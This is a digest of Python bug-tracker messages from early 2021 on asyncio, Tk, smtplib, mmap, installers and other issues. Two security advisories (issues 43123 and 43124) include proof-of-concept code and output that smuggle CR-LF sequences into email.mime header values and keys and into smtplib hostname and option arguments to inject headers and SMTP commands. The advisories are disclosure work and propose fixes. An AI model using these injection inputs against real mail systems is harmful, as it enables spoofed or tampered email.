[issue43119] asyncio.Queue.put never yields if the queue is unbounded

[Ken Jin]

Ken Jin  added the comment:

Thanks for the minimal reproducer. I've tested it on 3.9.0 and 3.10a4 and they 
seem to exhibit the same behavior too.

Out of genuine curiosity (I don't mean to question if this *is* a bug, it seems 
like a trap for users): why not place an ``await asyncio.sleep(0)`` after 
``queue.put`` line to force a switch in the producer? Eg, from your example 
code, instead of :
while True:
await q.put(i)

maybe this:
while True:
await q.put(i)
await asyncio.sleep(0)
With that workaround, your example starts printing each item and the consumer 
tasks don't seem to get blocked.

--
nosy: +kj
versions: +Python 3.10, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue19733] Setting image parameter of a button crashes with Cocoa Tk

[Dima Pasechnik]

Dima Pasechnik  added the comment:

was it tested on macOS 11.2 ?
Tests fail there with Python 3.9.1

--
nosy: +Dima Pasechnik

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43123] email MIME splitting

[Martin Ortner]

New submission from Martin Ortner :

// reported via PSRT email (see timeline)
// external reference: 
https://consensys.net/diligence/vulnerabilities/private/jcchhpke7usq8wo45vloy282phwpd9fj41imumhb8varxahz2bf9afw5mcno84gx/

cve: 
vendor: python
vendorUrl: https://www.python.org/ 
authors: tintinweb
affectedVersions: [at least <= 3.8.3, <=3.7.7, <=2.7.18]
vulnClass: CWE-93


# Vulnerability Note

## Summary 


>Python is a programming language that lets you work more quickly and integrate 
>your systems more effectively.

The python `email.mime` package fails to properly encode or reject `CR-LF` 
control sequences in MIME header values allowing for MIME splitting and header 
injection attacks.

* `MIMEText[headerKey] = headerValue` - `headerValue` accepts `CR-LF` in the 
value, allowing an attacker in control of part of the header value to perform a 
MIME splitting attack.
* `MIMEText[headerKey] = headerValue` - `headerKey` is not checked for `CR-LF` 
allowing an attacker in control of part of a header key to inject arbitrary 
MIME headers.
* `MIMEText.add_header(headerKey, headerValue)` -  `headerKey` is not checked 
for `CR-LF` allowing an attacker in control of part of a header key to inject 
arbitrary MIME headers.

## Details

### MIME-Splitting with `CR-LF` in header value:

* Note: `CR-LF` injection in `To` header pushes an invalid header and may force 
a MIME split (depending on the parsing library) pushing following header values 
into the body when being parsed with the `email.message_from_string()` method.

```python
# Import the email modules we'll need
from email.mime.text import MIMEText

# Open a plain text file for reading.  For this example, assume that
# the text file contains only ASCII characters.

msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")

msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO toaddr...@oststrom.com\r\nX-SPLIT-MSG-TO-BODY\r\n"
msg['From'] = "FROM fromaddr...@oststrom.com"
msg['MyHEader'] = "hi :: hi"

print(msg)
print(repr(msg))
print("=")
import email
msg = email.message_from_string(str(msg))  
print(msg)

print("-> FROM: %s" % msg.get("From")) 
print("-> TO:   %s" % msg["To"]) 
print("-> MSG:  " + repr(msg.get_payload()))


```

Output:

* Output before the `===` is the constructed message
* Output after the `===` is the parsed message
* Note: that after parsing the message some headers end up in the body (`from`, 
`myheader`). Note that `msg[from]` is empty.

```
⇒  python3 a.py   
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toaddr...@oststrom.com
X-SPLIT-MSG-TO-BODY
From: FROM fromaddr...@oststrom.com
MyHEader: hi :: hi

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END

=
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toaddr...@oststrom.com

X-SPLIT-MSG-TO-BODY
From: FROM fromaddr...@oststrom.com
MyHEader: hi :: hi

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
-> FROM: None
-> TO:   TO toaddr...@oststrom.com
-> MSG:  'X-SPLIT-MSG-TO-BODY\nFrom: FROM fromaddr...@oststrom.com\nMyHEader: 
hi :: hi\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'
```


###  `CR-LF` injection in header keys.

Note: this is unlikely to be exploited, however, there might be scenarios where 
part of the header key is exposed to user input. A `CR-LF` character in the 
header key should throw instead.

```python
# Import the email modules we'll need
from email.mime.text import MIMEText

# Open a plain text file for reading.  For this example, assume that
# the text file contains only ASCII characters.

msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")

# me == the sender's email address
# you == the recipient's email address
msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO toaddr...@oststrom.com"
msg['From'] = "FROM fromaddr...@oststrom.com"
msg['MyHEader'] = "hi :: hi"
msg["m\r\nh"] = "yo"

print(msg)
print(repr(msg))
print("=")
import email
msg = email.message_from_string(str(msg))  
msg.add_header("CUSTOM-HEADER: yo\r\n\nX-INJECTED: 
injected-header\r\naa","data")
print(msg)

print("-> FROM: %s" % msg.get("From")) 
print("-> TO:   %s" % msg["To"]) 
print("-> MSG:  " + repr(msg.get_payload()))


```

Output: `h: yo` and `X-INJECTED:` are injected

```
⇒  python3 a.py
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toaddr...@oststrom.com
From: FROM fromaddr...@oststrom.com
MyHEader: hi :: hi
m
h: yo

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END

=
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toaddr...@oststrom.com
From: FROM fromaddr...@oststrom.com
MyHEader: hi :: hi
CUSTOM-HEADE

[issue43068] test_subprocess: test_specific_shell() fails on AMD64 FreeBSD Shared 3.x

[STINNER Victor]

STINNER Victor  added the comment:

> Would you like me to rebuild bash/gdb to fix the error, or wait for the tests 
> to be fixed so that they can handle the error condition?

I don't think that Python test suite should handle the case of a broken FreeBSD 
setup.

Could you either disable the buildbot worker or fix it?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43124] smtplib multiple CRLF injection

[Martin Ortner]

New submission from Martin Ortner :

// reported via PSRT email (see timeline; last contact: Alex/PSRT)
// external reference: 
http://consensys.net/diligence/vulnerabilities/private/z5kxjgfmja4offxbrw1miuxwezggajjfswlz9g2hfuh77we5dy727hqy5x9ii43e/

cve: 
vendor: python
vendorUrl: https://www.python.org/
authors: tintinweb
affectedVersions: [at least 3.8.3, <=3.7.8, <=3.6.11, <=3.5.9, <=2.7.18]
vulnClass: CWE-93


# Vulnerability Note

## Summary 

>Python is a programming language that lets you work more quickly and integrate 
>your systems more effectively.

Two CR-LF injection points have been discovered in the Python standard library 
for `SMTP` interaction (client perspective) named `smtplib` that may allow a 
malicious user with direct access to `smtplib.SMTP(..., local_hostname, ..)` or 
`smtplib.SMTP(...).mail(..., options)` to inject a CR-LF control sequence to 
inject arbitrary `SMTP` commands into the protocol stream.

The root cause of this is likely to be found in the design of the `putcmd(cmd, 
args)` method, that fails to validate that `cmd` nor `args` contains any 
protocol control sequences (i.e. `CR-LF`). 

It is recommended to reject or encode `\r\n` in `putcmd()` and enforce that 
potential multi-line commands call `putcmd()` multiple times to avoid that 
malicious input breaks the expected context of the method and hence cause 
unexpected behavior. For reference, the `DATA` command (multi-line) would not 
be affected by this change as it calls `putcmd()` only once and continues with 
directly interacting with the socket to submit the body.

## Details

### Description



The root cause of this (and probably also some earlier reported CR-LF 
injections) is the method `putcmd()` in `lib/smtplib.py`[3]. The method is 
called by multiple commands and does not validate that neither `cmd` nor `args` 
contains any `CRLF` sequences.

```python
def putcmd(self, cmd, args=""):
"""Send a command to the server."""
if args == "":
str = '%s%s' % (cmd, CRLF)
else:
str = '%s %s%s' % (cmd, args, CRLF)
self.send(str)
```

However, the issue was initially found in `mail(..., options)` [4] which fails 
to ensure that none of the provided `options` contains `CRLF` characters. The 
method only ensures that provides mail addresses are quoted, `optionslist` is 
untouched:

```python
self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist))
```

A similar issue was found with `smtplib.SMTP(...,local_hostname)` (and 
`helo(name)`, `ehlo(name)`) which may potentially contain `CRLF` sequences and, 
therefore, can be used to inject `SMTP` commands.

Here's a snipped of `helo` [5]
```python
def helo(self, name=''):
"""SMTP 'helo' command.
Hostname to send for this command defaults to the FQDN of the local
host.
"""
self.putcmd("helo", name or self.local_hostname)
(code, msg) = self.getreply()
self.helo_resp = msg
return (code, msg)
```

We highly recommend, fixing this issue once and for all directly in `putcmd()` 
and enforce that the interface can only send one command at a time, rejecting 
arguments that contain `CRLF` sequences or properly encoding them to avoid 
injection.

## Proof of Concept

1. set-up a local tcp listener `⇒  nc -l 10001`

2. run the following PoC and replay the server part as outline in 3.

```python
import smtplib

server = smtplib.SMTP('localhost', 10001, "hi\nX-INJECTED") # localhostname 
CRLF injection
server.set_debuglevel(1)
server.sendmail("h...@me.com", "y...@me.com", "wazzuuup\nlinetwo")
server.mail("h...@me.com",["X-OPTION\nX-INJECTED-1","X-OPTION2\nX-INJECTED-2"]) 
# options CRLF injection

```

3. interact with `smtplib`, check for `X-INJECTED`

```
⇒  nc -l 10001   
nc -l 10001
220 yo
ehlo hi
X-INJECTED
250-AUTH PLAIN
250
mail FROM:
250 ok
rcpt TO:
250 ok
data
354 End data with . 
wazzuuup
linetwo
.
250 ok
mail FROM: X-OPTION
X-INJECTED-1 X-OPTION2
X-INJECTED-2
250 ok
quit
250 ok
```

### Proposed Fix

* enforce that `putcmd` emits exactly one command at a time and encode `\n -> 
\\n`.

```diff
diff --git a/Lib/smtplib.py b/Lib/smtplib.py
index e2dbbbc..9c16e7d 100755
--- a/Lib/smtplib.py
+++ b/Lib/smtplib.py
@@ -365,10 +365,10 @@ class SMTP:
 def putcmd(self, cmd, args=""):
 """Send a command to the server."""
 if args == "":
-str = '%s%s' % (cmd, CRLF)
+str = cmd
 else:
-str = '%s %s%s' % (cmd, args, CRLF)
-self.send(str)
+str = '%s %s' % (cmd, args)
+self.send('%s%s' % (str.replace('\n','\\n'), CRLF))
```

## Vendor Response

Vendor response: gone silent

### Timeline


```
JUL/02/2020 - contact psrt; provided details, PoC, proposed patch
JUL/04/2020 - confirmed that vulnerability note was received
SEP/10/2020 - requested status update.
```

## References

* [1] https://www.python.org/
* [2] https://www.python.org/downloads/
* [3] 
https://github.com/python/cpython/blob/1da648aceb2496c672aff

[issue43125] Trying To Concatenate Bytes and String in SMTPLIB

[Michael L. Boom]

New submission from Michael L. Boom :

The space is string, and either mechanism and/or response are bytes.
smtplib.py:634
response = encode_base64(initial_response.encode('ascii'), eol='')
(code, resp) = self.docmd("AUTH", mechanism + " " + response)


import smtplib, ssl
port = 587  
smtp_server = "---"
smtpserver = smtplib.SMTP(smtp_server, port)
smtpserver.set_debuglevel(2)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login("", "")

-
12:40:37.614737 send: 'ehlo [10.60.69.196]\r\n'
12:40:37.665528 reply: b'250-MWHPR20CA0007.outlook.office365.com Hello 
[65.54.12.68]\r\n'
12:40:37.665666 reply: b'250-SIZE 157286400\r\n'
12:40:37.665761 reply: b'250-PIPELINING\r\n'
12:40:37.665788 reply: b'250-DSN\r\n'
12:40:37.665806 reply: b'250-ENHANCEDSTATUSCODES\r\n'
12:40:37.665825 reply: b'250-STARTTLS\r\n'
12:40:37.665842 reply: b'250-8BITMIME\r\n'
12:40:37.665859 reply: b'250-BINARYMIME\r\n'
12:40:37.665876 reply: b'250-CHUNKING\r\n'
12:40:37.665893 reply: b'250 SMTPUTF8\r\n'
12:40:37.665919 reply: retcode (250); Msg: 
b'MWHPR20CA0007.outlook.office365.com Hello [65.54.12.68]\nSIZE 
157286400\nPIPELINING\nDSN\nENHANCEDSTATUSCODES\nSTARTTLS\n8BITMIME\nBINARYMIME\nCHUNKING\nSMTPUTF8'
12:40:37.666440 send: 'STARTTLS\r\n'
12:40:37.716214 reply: b'220 2.0.0 SMTP server ready\r\n'
12:40:37.716265 reply: retcode (220); Msg: b'2.0.0 SMTP server ready'
12:40:37.878320 send: 'ehlo [10.60.69.196]\r\n'
12:40:37.928198 reply: b'250-MWHPR20CA0007.outlook.office365.com Hello 
[65.54.12.68]\r\n'
12:40:37.928259 reply: b'250-SIZE 157286400\r\n'
12:40:37.928285 reply: b'250-PIPELINING\r\n'
12:40:37.928304 reply: b'250-DSN\r\n'
12:40:37.928323 reply: b'250-ENHANCEDSTATUSCODES\r\n'
12:40:37.928437 reply: b'250-AUTH LOGIN XOAUTH2\r\n'
12:40:37.928461 reply: b'250-8BITMIME\r\n'
12:40:37.928494 reply: b'250-BINARYMIME\r\n'
12:40:37.928511 reply: b'250-CHUNKING\r\n'
12:40:37.928528 reply: b'250 SMTPUTF8\r\n'
12:40:37.928552 reply: retcode (250); Msg: 
b'MWHPR20CA0007.outlook.office365.com Hello [65.54.12.68]\nSIZE 
157286400\nPIPELINING\nDSN\nENHANCEDSTATUSCODES\nAUTH LOGIN 
XOAUTH2\n8BITMIME\nBINARYMIME\nCHUNKING\nSMTPUTF8'
Traceback (most recent call last):
  File "mail9.py", line 18, in 
smtpserver.login("", "")
  File 
"/aae/msio_install_release1.9/scoring_engine.20201201.3.8.3/lib/python3.8/smtplib.py",
 line 723, in login
(code, resp) = self.auth(
  File 
"/aae/msio_install_release1.9/scoring_engine.20201201.3.8.3/lib/python3.8/smtplib.py",
 line 635, in auth
(code, resp) = self.docmd("AUTH", mechanism + " " + response)
TypeError: can only concatenate str (not "bytes") to str

--
components: Interpreter Core
messages: 386482
nosy: boom0192
priority: normal
severity: normal
status: open
title: Trying To Concatenate Bytes and String in SMTPLIB
type: behavior
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43124] [security] smtplib multiple CRLF injection

[STINNER Victor]

Change by STINNER Victor :


--
title: smtplib multiple CRLF injection -> [security] smtplib multiple CRLF 
injection

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43122] Python Launcher doesn't open a terminal window

[Kevin]

Kevin  added the comment:

William,

Thanks for your comment. I assumed the same thing, but it goes by so fast I am 
never sure..

> On Feb 3, 2021, at 10:27 PM, William Pickard  wrote:
> 
> 
> William Pickard  added the comment:
> 
> That quick flash would be your terminal window if I have to guess (based on 
> no Mac experience, but Windows).
> 
> --
> nosy: +WildCard65
> 
> ___
> Python tracker 
> 
> ___

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43126] IOBase.readlines(0) behaviour is inconsistent with documentation

[Martin Larralde]

New submission from Martin Larralde :

The documentation for `IOBase.readlines` states that the `hint` optional 
argument should be used like so 
(https://docs.python.org/3/library/io.html#io.IOBase.readlines):

> Read and return a list of lines from the stream. hint can be specified to 
> control the number of lines read: no more lines will be read if the total 
> size (in bytes/characters) of all lines so far exceeds hint.

So in the case where `hint` is null, I would expect `readlines` to return an 
empty list.

However, this is neither the case for `io.BytesIO` nor for `io.FileIO`:

```
import io

io.BytesIO(b"abc\ndef\nghi\n").readlines(0) 
# this evaluates to [b"abc\n", b"def\n", b"ghi\n"]
```

If this is the intended behaviour, the documentation should be updated, 
otherwise the code from the `io` module should be fixed.

--
assignee: docs@python
components: Documentation
messages: 386484
nosy: althonos2, docs@python
priority: normal
severity: normal
status: open
title: IOBase.readlines(0) behaviour is inconsistent with documentation
type: behavior
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43127] Unable to install Python 3.9.1 - Windows 10

[Adrian Lloyd]

New submission from Adrian Lloyd :

I get the following error when I try to install Python 3.9.1 on windows 10

0x80070659 The installation is forbidden by system policy.

The log gives more information:

[13A0:0FC0][2021-02-04T16:41:04]e000: Error 0x80070659: Failed to install MSI 
package.
[13A0:0FC0][2021-02-04T16:41:04]e000: Error 0x80070659: Failed to configure 
per-user MSI package.
[13A0:0FC0][2021-02-04T16:41:04]i319: Applied execute package: core_JustForMe, 
result: 0x80070659, restart: None
[13A0:0FC0][2021-02-04T16:41:04]e000: Error 0x80070659: Failed to execute MSI 
package.


I have looked on earlier posts and stack overflow and all suggest a registry 
fix to set DisableMSI = 0 in the registry, but according to windows 
documentation this doesn't apply to windows 10. Also the Installer folder which 
would contain this parameter doesn't exist.

Can you help?

--
messages: 386485
nosy: adrian.e.d.lloyd
priority: normal
severity: normal
status: open
title: Unable to install Python 3.9.1 - Windows 10
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43113] os.posix_spawn errors with wrong information when shebang points to not-existing file

[Eric V. Smith]

Eric V. Smith  added the comment:

I suggest making no change here, except maybe documenting it somewhere. 
Removing the filename would make this problem even harder to diagnose. And 
adding additional code to an error condition just increases the chance of 
something failing. The error reporting should be as simple as possible.

--
nosy: +eric.smith

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43008] IDLE ignores sys.excepthook in normal, subprocess mode

[Terry J. Reedy]

Terry J. Reedy  added the comment:

IDLE also caches shell input.  Off topic here, I sent Andre an email about how 
FT could access it.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43119] asyncio.Queue.put never yields if the queue is unbounded

[Spencer Nelson]

Spencer Nelson  added the comment:

Thanks for testing on more Python versions.

Yes, adding asyncio.sleep(0) after each put is an effective workaround - it's 
certainly possible to manually yield like that. I just think that that's what 
asyncio.Queue.put ought to be doing - in fact, that's my proposed change in the 
associated PR: 
https://github.com/python/cpython/pull/24433/files#diff-22a6bcb03e783378149a3e9411c185b13c908e61886ffd55145634b7ab12caacR141

I suppose that, more broadly, I would have expected that _any_ `await f()` call 
would be a preemptible point, but I think that's a much, much larger discussion.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43107] RotatingFileHandler with multi processes creates too small backup files

[Roundup Robot]

Change by Roundup Robot :


--
keywords: +patch
nosy: +python-dev
nosy_count: 1.0 -> 2.0
pull_requests: +23248
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/24442

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43128] make test fails Lib/test/test_httpservers.py on 3.9.1

[Alex Osterman]

New submission from Alex Osterman :

While compiling 3.9.1 on CentOS 8, test_httpservers.py throws multiple errors 
in the vein of "OSError: [Errno 39] Directory not empty: '/tmp/tmp70ip355o'" 
from line 707, in teardown. Examining the directories I see that they all 
contain only a gmon.out. Adding this code to teardown() before 
"os.rmdir(self.parent_dir)" seems to resolve the issue and should not introduce 
any issues on other platforms:

if os.path.isfile(pathlib.Path(self.parent_dir).joinpath('gmon.out')):
  os.remove(pathlib.Path(self.parent_dir).joinpath('gmon.out'))

--
components: Tests
files: Python3 Makefile.txt
messages: 386489
nosy: ostermana
priority: normal
severity: normal
status: open
title: make test fails Lib/test/test_httpservers.py on 3.9.1
type: behavior
versions: Python 3.9
Added file: https://bugs.python.org/file49790/Python3 Makefile.txt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue42825] Build libraries with "/OPT:REF" linker optimization on Windows

[Austin Lamb]

Austin Lamb  added the comment:

You're right to think that folding is a problem Steve, but thankfully my PR 
does not enable COMDAT folding for that very reason :).

/OPT:ICF enables identical COMDAT folding, but surprisingly-to-me /OPT:REF 
seems to still enable a small amount of  folding (I confirmed with the linker 
dev at Microsoft that this is true).  Thus, just /OPT:REF alone caused test 
failures as there are test cases verifying COMDAT folding didn't occur.

Thus, in my PR I am using /OPT:REF,NOICF to explicitly disable any ICF'ing at 
all and I see no folding occurring anywhere, and those COMDAT-folding-sensitive 
tests pass with that flag.

The dumpbin /exports output is identical after this change.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue19733] Setting image parameter of a button crashes with Cocoa Tk

[Ned Deily]

Ned Deily  added the comment:

> was it tested on macOS 11.2 ?
> Tests fail there with Python 3.9.1

The change to re-enable the previously crashing test will first be released in 
3.9.2 and AFAICT no longer causes a crash. There are other Tk-related test 
failures on macOS with Tk 8.6.11 but no crashes like this as far as I know.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue19733] Setting image parameter of a button crashes with Cocoa Tk

[Ned Deily]

Ned Deily  added the comment:

> The change to re-enable the previously crashing test will first be released 
> in 3.9.2

It's also in the recently-released 3.10.0a5 release preview.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43113] os.posix_spawn errors with wrong information when shebang points to not-existing file

[Gregory P. Smith]

Gregory P. Smith  added the comment:

That bash produces a nicer error message is because bash happens to implement 
its own special logic to try and figure out why an exec failed with an error 
other than ENOEXEC.  The OS kernel & libc do not give it that information, 
there is no such errno.  Bash inspects the executable itself for a #! in some 
error paths, extracts an interpreter from that and constructs an error message 
involving it.  (bash's execute_cmd.c and HAVE_HASH_BANG_EXEC logic)

I agree with Eric.  I don't think we should do anything here.  This isn't 
posix_spawn, subprocess, or os.exec* specific.  It's just how posix-y OSes that 
have the concept of a #! line interpreter for executable files work.  The errno 
that comes back from an exec failure is not super informative.

If someone disagrees, the way to move forward on this is to implement 
equivalent logic in a central place and have it called from all of the relevant 
places within the posixmodule (os) and the _posixsubprocess module.  With tests 
of all possible errno cases and code paths for each.  And make a PR out of that.

If you're going to take that on; do _not_ look at the bash source code.  That's 
GPL, we cannot copy it.  Just go by this description.

To me, this seems over complicated to get right and maintain.  I'd rather not 
do this within Python.  But if someone is going to make a PR for it, I'll at 
least look at it to see if it seems like something we could accept maintenance 
of.  I cannot guarantee we'd accept it.

--
resolution:  -> not a bug
stage:  -> needs patch
status: open -> closed
type: behavior -> enhancement

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue42773] build.yml workflow not testing on pushes

[Ammar Askar]

Change by Ammar Askar :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue33990] CPPFLAGS during ./configure are not passed-through in sysconfig.customize_compiler

[Chih-Hsuan Yen]

Change by Chih-Hsuan Yen :


--
nosy:  -yan12125

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43129] Number of object on stack required by opcode

[Matthieu Dartiailh]

New submission from Matthieu Dartiailh :

When constructing bytecode object manually as can be done using the bytecode 
library (https://github.com/MatthieuDartiailh/bytecode which was first 
developed by V Stinner), one can use dis.stack_effect to compute the required 
stack size, thus avoiding stack overflows.

However it can be interesting for those manually built bytecode object to also 
check that no underflow can occur. This computation is straightforward once one 
knows the number of element on the stack a specific opcode expects. 

This works has been done manually in the bytecode project, but it may 
interesting to provide a way in the dis module to access this information with 
an interface similar to dis.stack_effect.

If there is an interest in such a feature I would be happy to contribute it. I 
would however like some opinion on how to do that in an optimal manner. I 
assume it would require to add the implementation in 
https://github.com/python/cpython/blob/master/Python/compile.c and expose it in 
a similar manner to stack_effect.

--
components: Library (Lib)
messages: 386494
nosy: mdartiailh
priority: normal
severity: normal
status: open
title: Number of object on stack required by opcode
type: enhancement
versions: Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue42825] Build libraries with "/OPT:REF" linker optimization on Windows

[John Rey Osano]

Change by John Rey Osano :


--
components: +C API, Extension Modules, IO
type: performance -> enhancement

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue21728] Confusing error message when initialising type inheriting object.__init__

[Irit Katriel]

Irit Katriel  added the comment:

Looks like this was fixed under issue31506.

In any case it works for me now: 

>>> A(42)
Traceback (most recent call last):
  File "", line 1, in 
TypeError: A() takes no arguments

--
nosy: +iritkatriel
resolution:  -> fixed
status: open -> pending

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43130] Should this construct throw an exception?

[Tony Ladd]

New submission from Tony Ladd :

The expression "1 and 2" evaluates to 2. Actually for most combinations of data 
type it returns the second object. Of course its a senseless construction (a 
beginning student made it) but why no exception?

--
components: Interpreter Core
messages: 386496
nosy: tladd
priority: normal
severity: normal
status: open
title: Should this construct throw an exception?
type: behavior

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue30077] Support Apple AIFF-C pseudo compression in aifc.py

[Yussuf Özkan]

Yussuf Özkan  added the comment:

If you read a normal uncompressed AIFF with aifc, the samples are in big-endian 
order and need to be converted before they can be played on little-endian 
systems.

As all other compression schemes produce big-endian data, so should 'SOWT' 
encoded AIFF. Therefore, the bytes of each sample should be swapped on read and 
write.

See also: 
https://en.wikipedia.org/wiki/Audio_Interchange_File_Format#AIFF_on_Mac_OS_X

--
components: +macOS
keywords: +patch
message_count: 4.0 -> 5.0
nosy: +ned.deily, ronaldoussoren, yussuf.ozkan
nosy_count: 3.0 -> 6.0
pull_requests: +23249
pull_request: https://github.com/python/cpython/pull/24449

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue42882] Restarting the interpreter causes UB on 3.10.0a4

[Ken Jin]

Change by Ken Jin :


--
nosy: +kj
nosy_count: 2.0 -> 3.0
pull_requests: +23250
pull_request: https://github.com/python/cpython/pull/24440

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43130] Should this construct throw an exception?

[Dennis Sweeney]

Dennis Sweeney  added the comment:

This is the expected behavior.

>From 
>https://docs.python.org/3/tutorial/introduction.html#first-steps-towards-programming

"""
In Python, like in C, any non-zero integer value is true; zero is false. The 
condition may also be a string or list value, in fact any sequence; anything 
with a non-zero length is true, empty sequences are false.
"""


>From 
>https://docs.python.org/3/tutorial/datastructures.html?highlight=short%20circuit#more-on-conditions

"""
The Boolean operators and and or are so-called short-circuit operators: their 
arguments are evaluated from left to right, and evaluation stops as soon as the 
outcome is determined. For example, if A and C are true but B is false, A and B 
and C does not evaluate the expression C. When used as a general value and not 
as a Boolean, the return value of a short-circuit operator is the last 
evaluated argument.
"""

--
nosy: +Dennis Sweeney

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue42882] Restarting the interpreter causes UB on 3.10.0a4

[STINNER Victor]

STINNER Victor  added the comment:


New changeset 196d4deaf4810a0bba75ba537dd40f2d71a5a634 by Ken Jin in branch 
'master':
bpo-42882: Fix MSVC warnings in pystate.c (GH-24440)
https://github.com/python/cpython/commit/196d4deaf4810a0bba75ba537dd40f2d71a5a634


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43130] Should this construct throw an exception?

[Tony Ladd]

Tony Ladd  added the comment:

Dennis

Thanks for the explanation. Sorry to post a fake report. Python is relentlessly 
logical but sometimes confusing.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43131] MMAP duplicate reads and writes on ARM64 platform

[Paul Swirhun]

New submission from Paul Swirhun :

mmap (example, as used in python-periphery) duplicates writes, compared to 
devmem and a c-periphery on an ARM64 platform (Zynq/Petalinux/Yocto). There are 
various other reports of duplicated writes using mmap suggesting it is a bug. 
Example:

fd = os.open("/dev/mem", os.O_RDWR | os.O_SYNC)
mapping = mmap.mmap(fd, 4096, flags=mmap.MAP_SHARED, prot=(mmap.PROT_READ | 
mmap.PROT_WRITE), offset=0x8000)
mapping.write(bytearray([0x0,]* 4))  # results in 2 writes, should be 1
mapping.write(bytearray([0x0,]* 8))  # results in 4 writes, should be 1-2 
depending on bus width (32b vs 64b)
# OR:
mapping[0:4] = struct.pack("=L", 0x0)  # results in 2 writes, should be 1

--
components: Library (Lib)
messages: 386501
nosy: psswirhun
priority: normal
severity: normal
status: open
title: MMAP duplicate reads and writes on ARM64 platform
versions: Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
